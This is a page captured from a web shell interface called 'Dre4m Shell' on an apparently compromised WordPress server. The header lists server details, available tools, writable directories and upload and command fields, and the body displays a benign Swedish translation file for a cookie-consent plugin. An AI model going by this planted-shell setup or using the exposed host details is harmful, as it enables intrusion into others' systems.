Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.144.3.235
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/languages/plugins/cookie-notice-sv_SE.po
# Translation of Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release) in Swedish
# This file is distributed under the same license as the Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2024-06-13 08:15:56+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: sv_SE\n"
"Project-Id-Version: Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release)\n"

#: includes/settings.php:646
msgid "Compliance Status"
msgstr "Status för efterlevnad"

#: includes/settings.php:129
msgid "Taxonomy Archive"
msgstr "Taxonomiarkiv"

#: includes/consent-logs.php:118
msgid "Site Optimization"
msgstr "Optimering av webbplats"

#: includes/consent-logs.php:112
msgid "Basic Operations"
msgstr "Grundläggande funktioner"

#: includes/consent-logs.php:93
msgid "IP address"
msgstr "IP-adress"

#: cookie-notice.php:840
msgid "Dismiss"
msgstr "Avfärda"

#: cookie-notice.php:840
msgid "Delay"
msgstr "Fördröjning"

#: cookie-notice.php:840
msgid "Review"
msgstr "Granska"

#: includes/settings.php:653
msgid "Scripts"
msgstr "Skript"

#: includes/consent-logs.php:153
msgid "Level %d"
msgstr "Nivå %d"

#: includes/consent-logs.php:139
msgid "2 years"
msgstr "2 år"

#: includes/consent-logs.php:92
msgid "Time"
msgstr "Tid"

#: includes/consent-logs.php:91
msgid "Duration"
msgstr "Varaktighet"

#: includes/consent-logs.php:90
msgid "Categories"
msgstr "Kategorier"

#: includes/consent-logs.php:89
msgid "Consent Level"
msgstr "Samtyckesnivå"

#: includes/consent-logs.php:88
msgid "Consent ID"
msgstr "Samtyckes-ID"

#: includes/consent-logs-list-table.php:248 includes/consent-logs.php:102
msgid "No consent logs found."
msgstr "Inga samtyckesloggar hittades."

#: includes/consent-logs-list-table.php:154
msgid "Total"
msgstr "Totalt"

#: includes/consent-logs-list-table.php:153
msgid "Level 3"
msgstr "Nivå 3"

#: includes/consent-logs-list-table.php:152
msgid "Level 2"
msgstr "Nivå 2"

#: includes/consent-logs-list-table.php:151
msgid "Level 1"
msgstr "Nivå 1"

#: includes/consent-logs-list-table.php:150
msgid "Date"
msgstr "Datum"

#: includes/settings.php:936
msgid "Enable to support AMP."
msgstr "Aktivera för att stödja AMP."

#: includes/settings.php:658
msgid "AMP Support"
msgstr "AMP-stöd"

#: includes/settings.php:290
msgid "Cookie Notice - Consent Logs"
msgstr "Meddelande om cookies – Samtyckesloggar"

#: includes/settings.php:654
msgid "Caching Compatibility"
msgstr "Kompatibilitet med cachelagring"

#: includes/settings.php:2294
msgid "Untitled Page %d"
msgstr "Sida utan rubrik %d"

#: includes/settings.php:125
msgid "Page"
msgstr "Sida"

#: includes/welcome.php:591 includes/welcome.php:689
msgid "%sProfessional%s"
msgstr "%sProfessionell%s"

#: includes/welcome.php:559
msgid "I have read and agree to the %sTerms of Service%s"
msgstr "Jag har läst och godkänner %sAnvändarvillkoren%s"

#: includes/welcome.php:321
msgid "%sBasic%s Support"
msgstr "%sGrundläggande%s support"

#: includes/settings.php:2321
msgid "Guest"
msgstr "Gäst"

#: includes/settings.php:2320
msgid "Logged in"
msgstr "Inloggad"

#: includes/settings.php:2309
msgid "Home Page"
msgstr "Startsida"

#: includes/settings.php:2308
msgid "Front Page"
msgstr "Startsida"

#: includes/settings.php:2161
msgid "-- no public archives --"
msgstr "-- inga offentliga arkiv--"

#: includes/settings.php:2054
msgid "+ Add rule"
msgstr "+ Lägg till regel"

#: includes/settings.php:1987
msgid "or"
msgstr "eller"

#: includes/settings.php:682
msgid "Conditional display"
msgstr "Villkorsstyrd visning"

#: includes/settings.php:539
msgid "Protect your business"
msgstr "Skydda ditt företag"

#: includes/settings.php:524 includes/welcome.php:352
msgid "%sPriority%s Support"
msgstr "%sPrioriterad%s support"

#: includes/settings.php:139
msgid "Show the banner"
msgstr "Visa bannern"

#: includes/settings.php:138
msgid "Hide the banner"
msgstr "Dölj bannern"

#: includes/settings.php:134
msgid "is not equal to"
msgstr "är inte lika med"

#: includes/settings.php:133
msgid "is equal to"
msgstr "är lika med"

#: includes/settings.php:128
msgid "User Type"
msgstr "Användartyp"

#: includes/settings.php:127
msgid "Post Type Archive"
msgstr "Arkiv för inläggstyp"

#: includes/settings.php:126
msgid "Post Type"
msgstr "Inläggstyp"

#: includes/settings.php:124
msgid "Page Type"
msgstr "Sidtyp"

#: includes/welcome.php:380
msgid "You have successfully signed up to a limited, Basic plan."
msgstr "Du har registrerat dig för ett begränsat grundläggande paket."

#: includes/welcome.php:380
msgid "You have successfully signed up to a Professional plan."
msgstr "Du har registrerat dig för ett Professionellt paket."

#: includes/welcome.php:355
msgid "Start Professional"
msgstr "Starta professionellt"

#: cookie-notice.php:779 includes/settings.php:530
msgid "Upgrade to Pro"
msgstr "Uppgradera till Pro"

#. Plugin URI of the plugin
#: cookie-notice.php
msgid "https://cookie-compliance.co/"
msgstr "https://cookie-compliance.co/"

#: includes/settings.php:613
msgid "Global Cookie"
msgstr "Global cookie"

#: includes/settings.php:611 includes/settings.php:616
msgid "Network Settings"
msgstr "Nätverksinställningar"

#: includes/settings.php:659
msgid "Debug Mode"
msgstr "Felsökningsläge"

#: includes/dashboard.php:512
msgid "Your site does not have Cookie Compliance"
msgstr "Din webbplats har inte Cookie Compliance"

#: includes/welcome.php:732
msgid "Licenses"
msgstr "Licenser"

#: includes/welcome.php:731
msgid "Select subscription"
msgstr "Välj prenumeration"

#: includes/welcome.php:691
msgid "Use License"
msgstr "Använd licens"

#: includes/welcome.php:337 includes/welcome.php:338 includes/welcome.php:339
#: includes/welcome.php:340
msgid "%s domain license"
msgid_plural "%s domains license"
msgstr[0] "%s domänlicens"
msgstr[1] "%s domänlicenser"

#: includes/welcome.php:336
msgid "Pricing options"
msgstr "Prisalternativ"

#: includes/welcome.php:334
msgid "Recommended"
msgstr "Rekommenderat"

#: includes/settings.php:514 includes/welcome.php:332
msgid "Professional"
msgstr "Professionell"

#: includes/welcome.php:324
msgid "Start Basic"
msgstr "Starta grundläggande"

#: includes/welcome.php:302
msgid "Save 12%"
msgstr "Spara 12 %"

#: includes/welcome.php:302
msgid "Yearly"
msgstr "En gång om året"

#: includes/welcome.php:299
msgid "Monthly"
msgstr "En gång i månaden"

#: includes/welcome.php:138 includes/welcome.php:691
msgid "available"
msgstr "tillgänglig"

#: includes/welcome.php:132
msgid "yearly"
msgstr "en gång om året"

#: includes/welcome.php:131 includes/welcome.php:333 includes/welcome.php:591
#: includes/welcome.php:689
msgid "monthly"
msgstr "en gång i månaden"

#: includes/welcome-api.php:226
msgid "Unable to create payment mehotd."
msgstr "Kan inte skapa betalningsmetod."

#: includes/settings.php:574
msgid "Where can I find pricing options?"
msgstr "Var kan jag hitta prisalternativen?"

#: includes/settings.php:545
msgid "Learn more"
msgstr "Lär dig mer"

#: includes/dashboard.php:155
msgctxt "threshold limit"
msgid "Free"
msgstr "Gratis"

#: includes/dashboard.php:154
msgctxt "threshold limit"
msgid "Used"
msgstr "Använd"

#: includes/settings.php:569
msgid "Is Cookie Compliance free?"
msgstr "Är Cookie Compliance gratis?"

#: includes/settings.php:555
msgid "F.A.Q."
msgstr "Vanliga frågor"

#: includes/dashboard.php:454
msgid "Days to go: %s"
msgstr "Dagar kvar att köra %s"

#: includes/dashboard.php:453
msgid "Cycle started: %s"
msgstr "Cykeln påbörjad: %s"

#: includes/dashboard.php:452
msgid "Visits usage: %1$s / %2$s"
msgstr "Besöksanvändning: %1$s/%2$s"

#: includes/dashboard.php:449
msgid "Traffic Usage"
msgstr "Trafikanvändning"

#: includes/dashboard.php:432
msgid "Updated %s"
msgstr "Uppdaterad %s"

#: includes/dashboard.php:430 includes/settings.php:290
#: includes/settings.php:333 includes/settings.php:604
msgid "Consent Logs"
msgstr "Loggar för samtycke"

#: includes/dashboard.php:427
msgid "Last 30 days"
msgstr "Senaste 30 dagarna"

#: includes/dashboard.php:425
msgid "Total Visits"
msgstr "Totalt antal besök"

#: includes/dashboard.php:323 includes/settings.php:412
msgid "Upgrade to Cookie Compliance"
msgstr "Uppgradera till Cookie Compliance"

#: includes/dashboard.php:321
msgid "Get Consent logs data for the last 30 days."
msgstr "Hämta uppgifter om samtyckesloggar för de senaste 30 dagarna."

#: includes/dashboard.php:320
msgid "Display information about the visits."
msgstr "Visa information om besöken."

#: includes/dashboard.php:319
msgid "View consent activity inside WordPress Dashboard"
msgstr "Visa samtyckesaktivitet i WordPress adminpanel"

#: includes/dashboard.php:298
msgid "Consent Activity"
msgstr "Samtyckesaktivitet"

#: includes/dashboard.php:294
msgid "Displays the general visits information for your domain."
msgstr "Visar den allmänna besöksinformationen för din domän."

#: includes/dashboard.php:293
msgid "Traffic Overview"
msgstr "Trafiköversikt"

#: includes/dashboard.php:184 includes/dashboard.php:196
#: includes/dashboard.php:208
msgid "Level %s"
msgstr "Nivå %s"

#: includes/dashboard.php:72
msgid "Cookie Compliance"
msgstr "Efterlevnad av cookies"

#: includes/welcome.php:476
msgid "Reject All, Accept Some, Accept All​"
msgstr "Avisa alla, acceptera några, acceptera alla"

#: includes/welcome.php:475
msgid "Private, Balanced, Personalized"
msgstr "Privat, balanserat, personligt anpassat"

#: includes/welcome.php:474
msgid "Silver, Gold, Platinum (Default)​"
msgstr "Silver, Guld, Platina (standard)"

#: includes/welcome.php:472
msgid "Select a naming style for the consent choices"
msgstr "Välj en namngivningsstil för alternativen för samtycke"

#: includes/settings.php:233
msgid "months"
msgstr "månader"

#: includes/settings.php:220
msgid "Save my preferences"
msgstr "Spara mina preferenser"

#: includes/settings.php:215
msgid "Accept All"
msgstr "Acceptera alla"

#: includes/settings.php:214
msgid "Accept Some"
msgstr "Acceptera vissa"

#: includes/settings.php:213
msgid "Reject All"
msgstr "Avisa alla"

#: includes/settings.php:210
msgid "Personalized"
msgstr "Personifierad"

#: includes/settings.php:209
msgid "Balanced"
msgstr "Balanserad"

#: includes/settings.php:208
msgid "Private"
msgstr "Privat"

#: includes/settings.php:205
msgid "Platinum"
msgstr "Platinum"

#: includes/settings.php:204
msgid "Gold"
msgstr "Guld"

#: includes/settings.php:203
msgid "Silver"
msgstr "Silver"

#: includes/settings.php:172
msgid "Button color"
msgstr "Knappfärg"

#: cookie-notice.php:1342
msgid "Deactivate & Submit"
msgstr "Inaktivera och skicka"

#: cookie-notice.php:1341
msgid "Deactivate"
msgstr "Inaktivera"

#: cookie-notice.php:1340
msgid "Cancel"
msgstr "Avbryt"

#: cookie-notice.php:1326
msgid "Other"
msgstr "Annat"

#: cookie-notice.php:1320
msgid "I found another plugin to use for the same task."
msgstr "Jag hittade ett annat tillägg att använda för samma uppgift."

#: cookie-notice.php:1319
msgid "I couldn't figure out how to make it work."
msgstr "Jag förstod inte hur jag skulle få det att fungera."

#: cookie-notice.php:777 cookie-notice.php:779
msgid "Dismiss Notice"
msgstr "Avfärda notis"

#: cookie-notice.php:777 includes/dashboard.php:515
msgid "Run Compliance Check"
msgstr "Kör kontroll av efterlevnad"

#: includes/welcome.php:621 includes/welcome.php:722
msgid "Submit"
msgstr "Skicka"

#: includes/welcome.php:595 includes/welcome.php:696 includes/welcome.php:735
msgid "Confirm"
msgstr "Bekräfta"

#: includes/welcome.php:519
msgid "Apply Setup"
msgstr "Tillämpa inställning"

#: includes/welcome.php:420
msgid "Notifies visitors that site uses cookies."
msgstr "Avisera besökare att webbplatsen använder cookies."

#: includes/welcome.php:417
msgid "Checking..."
msgstr "Kontrollerar …"

#: includes/welcome.php:410
msgid "Compliance check"
msgstr "Kontroll av efterlevnad"

#: includes/welcome.php:379
msgid "Congratulations"
msgstr "Grattis"

#: includes/welcome.php:361
msgid "I don’t want to create an account now"
msgstr "Jag vill inte skapa ett konto nu"

#: includes/settings.php:232
msgid "month"
msgstr "månad"

#: includes/welcome.php:584 includes/welcome.php:682
msgid "Select Plan"
msgstr "Välj paket"

#: includes/welcome.php:311
msgid "Free"
msgstr "Gratis"

#: includes/settings.php:514 includes/welcome.php:310 includes/welcome.php:590
#: includes/welcome.php:688
msgid "Basic"
msgstr "Grundläggande"

#: includes/welcome.php:130
msgid "Failed"
msgstr "Misslyckades"

#: includes/welcome.php:129
msgid "Passed"
msgstr "Godkänt"

#: includes/settings.php:797
msgid "Add Compliance features"
msgstr "Lägg till funktioner för efterlevnad"

#: includes/settings.php:778
msgid "Log in & configure"
msgstr "Logga in och konfigurera"

#: cookie-notice.php:1289
msgid "Free Upgrade"
msgstr "Gratis uppgradering"

#: includes/settings.php:223
msgid "Preferences"
msgstr "Alternativ"

#: includes/settings.php:222
msgid "Do Not Sell"
msgstr "Sälj inte"

#: includes/settings.php:1761
msgid "Settings saved."
msgstr "Inställningar sparade."

#: includes/settings.php:761 includes/settings.php:775
#: includes/settings.php:794 includes/welcome.php:423
msgid "Proof-of-Consent"
msgstr "Samtyckesbevis"

#: includes/settings.php:760 includes/settings.php:774
#: includes/settings.php:793 includes/welcome.php:422
msgid "Cookie Categories"
msgstr "Cookie-kategorier"

#: includes/settings.php:758 includes/settings.php:772
#: includes/settings.php:791
msgid "Notice"
msgstr "Notis"

#: includes/settings.php:687
msgid "Notice Design"
msgstr "Notisdesign"

#: includes/settings.php:670
msgid "Notice Settings"
msgstr "Notisinställningar"

#: includes/settings.php:652 includes/settings.php:759
#: includes/settings.php:773 includes/settings.php:792 includes/welcome.php:421
msgid "Autoblocking"
msgstr "Automatisk blockering"

#: includes/settings.php:651
msgid "Compliance Settings"
msgstr "Inställningar för efterlevnad"

#: includes/settings.php:288
msgid "Cookies"
msgstr "Cookies"

#: includes/welcome.php:677
msgid "Sign up"
msgstr "Registrera"

#: includes/welcome.php:677
msgid "Don't have an account yet?"
msgstr "Har du inget konto än?"

#: includes/welcome.php:652
msgid "Account Login"
msgstr "Kontoinloggning"

#: includes/welcome.php:577
msgid "Already have an account?"
msgstr "Har du redan ett konto?"

#: includes/welcome.php:543
msgid "Create Account"
msgstr "Skapa konto"

#: includes/settings.php:655 includes/settings.php:857
msgid "Purge Cache"
msgstr "Töm cache"

#: includes/settings.php:792 includes/settings.php:793
#: includes/settings.php:794
msgid "Inactive"
msgstr "Inaktiv"

#: includes/settings.php:773 includes/settings.php:774
#: includes/settings.php:775
msgid "Pending"
msgstr "Väntande"

#: includes/settings.php:764
msgid "Log in & Configure"
msgstr "Logga in och konfigurera"

#: includes/settings.php:758 includes/settings.php:759
#: includes/settings.php:760 includes/settings.php:761
#: includes/settings.php:772 includes/settings.php:791
msgid "Active"
msgstr "Aktiv"

#: includes/settings.php:289
msgid "Cookie Notice - Settings"
msgstr "Meddelande om cookies – Inställningar"

#: includes/settings.php:648 includes/settings.php:667
msgid "App Key"
msgstr "App-nyckel"

#: includes/settings.php:647 includes/settings.php:666
msgid "App ID"
msgstr "App-ID"

#: includes/settings.php:665
msgid "Compliance status"
msgstr "Status för efterlevnad"

#: includes/settings.php:328
msgid "Cookie Notice & Compliance for GDPR/CCPA"
msgstr "Cookie Notice & Compliance for GDPR/CCPA"

#: includes/welcome.php:267
msgid "Skip for now"
msgstr "Hoppa över just nu"

#: includes/welcome.php:755
msgid "Success!"
msgstr "Lyckades!"

#: includes/welcome.php:577 includes/welcome.php:663
msgid "Sign in"
msgstr "Logga in"

#: includes/welcome.php:617 includes/welcome.php:718
msgid "CVC/CVV"
msgstr "CVC/CVV"

#: includes/welcome.php:613 includes/welcome.php:714
msgid "Expiration Date"
msgstr "Utgångsdatum"

#: includes/welcome.php:609 includes/welcome.php:710
msgid "Card Number"
msgstr "Kortnummer"

#: includes/welcome.php:603 includes/welcome.php:704
msgid "PayPal"
msgstr "PayPal"

#: includes/welcome.php:602 includes/welcome.php:703
msgid "Credit Card"
msgstr "Kreditkort"

#: includes/welcome.php:600 includes/welcome.php:701
msgid "Payment Method"
msgstr "Betalningsmetod"

#: includes/welcome.php:296
msgid "Compliance Plans"
msgstr "Compliance-paket"

#: includes/welcome.php:563
msgid "Sign Up"
msgstr "Registrera"

#: includes/welcome.php:555
msgid "Confirm Password"
msgstr "Bekräfta lösenord"

#: includes/welcome.php:551 includes/welcome.php:660
msgid "Password"
msgstr "Lösenord"

#: includes/welcome.php:548 includes/welcome.php:657
msgid "Email address"
msgstr "E-postadress"

#: includes/welcome.php:537
msgid "Compliance account"
msgstr "Compliance-konto"

#: includes/welcome.php:511
msgid "Color of the button text."
msgstr "Färg för knapptexten."

#: includes/welcome.php:510
msgid "Color of the heading text."
msgstr "Färg för rubriktexten."

#: includes/welcome.php:508
msgid "Color of the body text."
msgstr "Färg för innehållstexten."

#: includes/welcome.php:507
msgid "Color of the banner background."
msgstr "Färg på bannerns bakgrund."

#: includes/welcome.php:506
msgid "Color of the buttons and interactive elements."
msgstr "Färg på knappar och interaktiva element."

#: includes/welcome.php:504
msgid "Adjust the banner color scheme"
msgstr "Justera färgschemat för bannern"

#: includes/welcome.php:500
msgid "Center"
msgstr "Centrerat"

#: includes/welcome.php:499
msgid "Right"
msgstr "Höger"

#: includes/welcome.php:498
msgid "Left"
msgstr "Vänster"

#: includes/welcome.php:494
msgid "Select your preferred display position"
msgstr "Välj önskad visningsposition"

#: includes/welcome.php:490
msgid "Banner Design"
msgstr "Bannerdesign"

#: includes/welcome.php:468
msgid "CCPA"
msgstr "CCPA"

#: includes/welcome.php:467
msgid "GDPR"
msgstr "GDPR"

#: includes/welcome.php:465
msgid "Select the laws that apply to your business"
msgstr "Välj de lagar som gäller för ditt företag"

#: includes/welcome.php:414
msgid "Site Name"
msgstr "Webbplatsnamn"

#: includes/welcome.php:413
msgid "Site URL"
msgstr "Webbplatsens URL"

#: includes/welcome.php:385
msgid "Go to Application"
msgstr "Gå till applikation"

#: includes/welcome.php:139
msgid "Please fill all the required fields."
msgstr "Fyll i alla obligatoriska fält."

#: includes/welcome-api.php:319
msgid "Passwords do not match."
msgstr "Lösenorden matchar inte."

#: includes/welcome-api.php:307 includes/welcome-api.php:540
msgid "Password is not allowed to be empty."
msgstr "Lösenord får inte vara tomt."

#: includes/welcome-api.php:297 includes/welcome-api.php:531
msgid "Email is not allowed to be empty."
msgstr "E-post får inte vara tomt."

#: includes/welcome-api.php:115 includes/welcome-api.php:361
#: includes/welcome-api.php:403 includes/welcome-api.php:563
#: includes/welcome-api.php:637 includes/welcome-api.php:1225
#: includes/welcome.php:128
msgid "Unexpected error occurred. Please try again later."
msgstr "Oväntat fel uppstod. Försök igen senare."

#: includes/welcome-api.php:35 includes/welcome-api.php:39
#: includes/welcome-api.php:46 includes/welcome-api.php:59
#: includes/welcome.php:207 includes/welcome.php:235 includes/welcome.php:238
msgid "You do not have permission to access this page."
msgstr "Du har inte behörighet att komma åt denna sida."

#. Author of the plugin
#: cookie-notice.php
msgid "Hu-manity.co"
msgstr "Hu-manity.co"

#. Author URI of the plugin
#: cookie-notice.php
msgid "https://hu-manity.co/"
msgstr "https://hu-manity.co/"

#. Plugin Name of the plugin
#: cookie-notice.php
msgid "Cookie Notice & Compliance for GDPR / CCPA"
msgstr "Cookie Notice & Compliance for GDPR / CCPA"

#: includes/settings.php:1374
msgid "Bar opacity"
msgstr "Opacitet på list"

#: includes/settings.php:1236
msgid "The amount of time that the cookie should be stored for when the user doesn't accept the notice."
msgstr "Den tid som cookien ska lagras för när användaren inte accepterar notisen."

#: includes/settings.php:1215
msgid "The amount of time that the cookie should be stored for when user accepts the notice."
msgstr "Den tid som cookien ska lagras för när användaren accepterar notisen."

#: includes/settings.php:681
msgid "Rejected expiry"
msgstr "Utgång för nekande"

#: includes/settings.php:680
msgid "Accepted expiry"
msgstr "Utgång för godkännande"

#: includes/settings.php:1324
msgid "Enable to accept the notice on any click on the page."
msgstr "Aktivera för att acceptera notisen om man gör något klick på sidan."

#: includes/settings.php:1311
msgid "Number of pixels user has to scroll to accept the notice and make it disappear."
msgstr "Antal pixlar som användaren måste rulla för att acceptera notisen och få det att försvinna."

#: includes/settings.php:1308
msgid "Enable to accept the notice when user scrolls."
msgstr "Aktivera för att acceptera notisen när användaren rullar."

#: includes/settings.php:1293
msgid "Select the animation style."
msgstr "Välj stil på animationen."

#: includes/settings.php:1274
msgid "Select location for the notice."
msgstr "Välj plats för notisen."

#: includes/settings.php:1145
msgid "Select where to redirect user for more information."
msgstr "Välj vart användaren ska omdirigeras till för mer information."

#: includes/settings.php:1078
msgid "Enter the revoke message."
msgstr "Ange meddelande för återkallande."

#: includes/settings.php:1027
msgid "The text of the button to refuse the consent."
msgstr "Text på knappen för att avböja samtycket."

#: includes/settings.php:1008
msgid "The text of the option to accept the notice and make it disappear."
msgstr "Texten för valet att godkänna notisen och stänga den."

#: includes/settings.php:679
msgid "On click"
msgstr "På klick"

#: includes/settings.php:674
msgid "Refuse consent"
msgstr "Avvisa samtycke"

#: includes/settings.php:244 includes/settings.php:675
msgid "Revoke consent"
msgstr "Återkalla samtycke"

#: includes/settings.php:243
msgid "You can revoke your consent any time using the Revoke consent button."
msgstr "Du kan återkalla ditt samtycke när som helst genom att använda knappen återkalla samtycke."

#: includes/settings.php:150
msgid "Dark"
msgstr "Mörk"

#: includes/settings.php:149
msgid "Light"
msgstr "Ljus"

#: includes/settings.php:1192
msgid "Select the privacy policy link position."
msgstr "Välj plats för länken till integritetspolicyn."

#: includes/settings.php:166
msgid "Banner"
msgstr "Banner"

#: includes/settings.php:1135
msgid "The text of the privacy policy button."
msgstr "Texten på knappen för integritetspolicyn."

#: includes/settings.php:1349
msgid "Enter additional button CSS classes separated by spaces."
msgstr "Lägg in extra CSS-klasser för knappen, separerade med mellanslag."

#: includes/settings.php:1182
msgid "Select the privacy policy link target."
msgstr "Välj vart länken för integritetspolicy ska peka."

#: includes/settings.php:1165
msgid "Synchronize with WordPress Privacy Policy page."
msgstr "Synkronisera med integritetspolicysidan för WordPress."

#: includes/settings.php:1132
msgid "Enable privacy policy link."
msgstr "Aktivera länk för integritetspolicy."

#: includes/settings.php:1088
msgid "Select the method for displaying the revoke button - automatic (in the banner) or manual using %s[cookies_revoke]%s shortcode."
msgstr "Välj önskad metod för att visa återkallningsknappen – automatisk (i bannern) eller manuellt med hjälp av kortkoden %s[cookies_revoke]%s"

#: includes/settings.php:1080
msgid "The text of the button to revoke the consent."
msgstr "Text på knappen för att återkalla samtycket."

#: includes/settings.php:1075
msgid "Enable to give to the user the possibility to revoke their consent %s(requires \"Refuse consent\" option enabled)%s."
msgstr "Aktivera för att ge användaren möjlighet att återkalla sitt samtycke %s(kräver att alternativet ”Avvisa samtycke” är aktiverat)%s."

#: includes/settings.php:1056
msgid "The code to be used in your site footer, before the closing body tag."
msgstr "Koden som ska användas i sidfoten för din webbplats, före taggen >/body<."

#: includes/settings.php:1052
msgid "The code to be used in your site header, before the closing head tag."
msgstr "Koden som ska användas i html-huvudet för din webbplats, före taggen >/head<."

#: includes/settings.php:1049
msgid "Body"
msgstr "BODY"

#: includes/settings.php:1048
msgid "Head"
msgstr "HEAD"

#: includes/settings.php:691
msgid "Button class"
msgstr "Klass för knapp"

#: includes/settings.php:221 includes/settings.php:245
#: includes/settings.php:673
msgid "Privacy policy"
msgstr "Integritetspolicy"

#: includes/settings.php:179
msgid "An hour"
msgstr "En timme"

#: includes/settings.php:155
msgid "Manual"
msgstr "Manuellt"

#: includes/settings.php:154
msgid "Automatic"
msgstr "Automatisk"

#: includes/settings.php:1101
msgid "Enable to reload the page after the notice is accepted."
msgstr "Aktivera för att ladda om sidan när notisen har accepterats."

#: includes/settings.php:677
msgid "Reloading"
msgstr "Laddar om"

#: includes/settings.php:676
msgid "Script blocking"
msgstr "Skriptblockering"

#: includes/settings.php:1864
msgid "Are you sure you want to reset these settings to defaults?"
msgstr "Är du säker på att du vill återställa dessa inställningar till standard?"

#: cookie-notice.php:1274 includes/settings.php:289 includes/settings.php:332
msgid "Settings"
msgstr "Inställningar"

#: includes/settings.php:1765
msgid "Settings restored to defaults."
msgstr "Inställningar återställda till standard."

#: includes/settings.php:1255
msgid "Select where all the plugin scripts should be placed."
msgstr "Välj var alla tilläggets skript ska placeras."

#: includes/settings.php:1172
msgid "Enter the full URL starting with http(s)://"
msgstr "Ange den fullständiga URL:en som börjar med http(s)://"

#: includes/settings.php:1159
msgid "Select from one of your site's pages."
msgstr "Välj någon av webbplatsens sidor."

#: includes/settings.php:1148
msgid "-- select page --"
msgstr "-- välj sida --"

#: includes/settings.php:1060
msgid "Enter non functional cookies Javascript code here (for e.g. Google Analitycs) to be used after the visitor consent is given."
msgstr "Ange icke-funktionella cookies Javascript-kod här (för t.ex. Google Analytics) som ska användas efter att besökarens samtycke har getts."

#: includes/settings.php:1023
msgid "Enable to give to the user the possibility to refuse third party non functional cookies."
msgstr "Aktivera att användaren får möjlighet att neka icke-funktionella cookies från tredje part."

#: includes/settings.php:995
msgid "Enter the cookie notice message."
msgstr "Ange notismeddelandet för cookien."

#: includes/settings.php:1336
msgid "Enable if you want all plugin data to be deleted on deactivation."
msgstr "Aktivera om du vill att all data ska tas bort vid avaktivering av tillägget."

#: includes/settings.php:690
msgid "Colors"
msgstr "Färger"

#: includes/settings.php:689
msgid "Animation"
msgstr "Animation"

#: includes/settings.php:688
msgid "Position"
msgstr "Position"

#: includes/settings.php:660 includes/settings.php:684
msgid "Deactivation"
msgstr "Avaktivering"

#: includes/settings.php:683
msgid "Script placement"
msgstr "Skriptplacering"

#: includes/settings.php:678
msgid "On scroll"
msgstr "Vid rullning"

#: includes/settings.php:672
msgid "Button text"
msgstr "Knapptext"

#: includes/settings.php:167 includes/settings.php:671
msgid "Message"
msgstr "Meddelande"

#: includes/settings.php:477
msgid "Reset to defaults"
msgstr "Återställ till standard"

#: includes/dashboard.php:518 includes/settings.php:288
#: includes/welcome.php:420
msgid "Cookie Notice"
msgstr "Cookie Notice"

#: includes/settings.php:242
msgid "No"
msgstr "Nej"

#: includes/settings.php:241
msgid "Ok"
msgstr "Ok"

#: includes/settings.php:240
msgid "We use cookies to ensure that we give you the best experience on our website. If you continue to use this site we will assume that you are happy with it."
msgstr "Vi använder cookies för att se till att vi ger dig den bästa upplevelsen på vår webbplats. Om du fortsätter att använda denna webbplats kommer vi att anta att du godkänner detta."

#: includes/settings.php:198
msgid "Footer"
msgstr "Sidfot"

#: includes/settings.php:197
msgid "Header"
msgstr "Sidhuvud"

#: includes/settings.php:193
msgid "Slide"
msgstr "Glid"

#: includes/settings.php:192
msgid "Fade"
msgstr "Tona"

#: includes/settings.php:186
msgid "infinity"
msgstr "oändligt"

#: includes/consent-logs.php:137 includes/settings.php:185
msgid "1 year"
msgstr "1 år"

#: includes/consent-logs.php:135 includes/settings.php:184
msgid "6 months"
msgstr "6 månader"

#: includes/consent-logs.php:133 includes/settings.php:183
msgid "3 months"
msgstr "3 månader"

#: includes/consent-logs.php:131 includes/settings.php:182
msgid "1 month"
msgstr "1 månad"

#: includes/settings.php:181
msgid "1 week"
msgstr "1 vecka"

#: includes/settings.php:180
msgid "1 day"
msgstr "1 dag"

#: includes/settings.php:173
msgid "Bar color"
msgstr "Listfärg"

#: includes/settings.php:171
msgid "Text color"
msgstr "Textfärg"

#: includes/settings.php:159
msgid "Page link"
msgstr "Sidlänk"

#: includes/settings.php:160
msgid "Custom link"
msgstr "Anpassad länk"

#: includes/settings.php:148 includes/settings.php:191
msgid "None"
msgstr "Ingen"

#: includes/settings.php:144 includes/welcome.php:496
msgid "Bottom"
msgstr "Botten"

#: includes/settings.php:143 includes/welcome.php:497
msgid "Top"
msgstr "Toppen"

Anon7 - 2022
AnonSec Team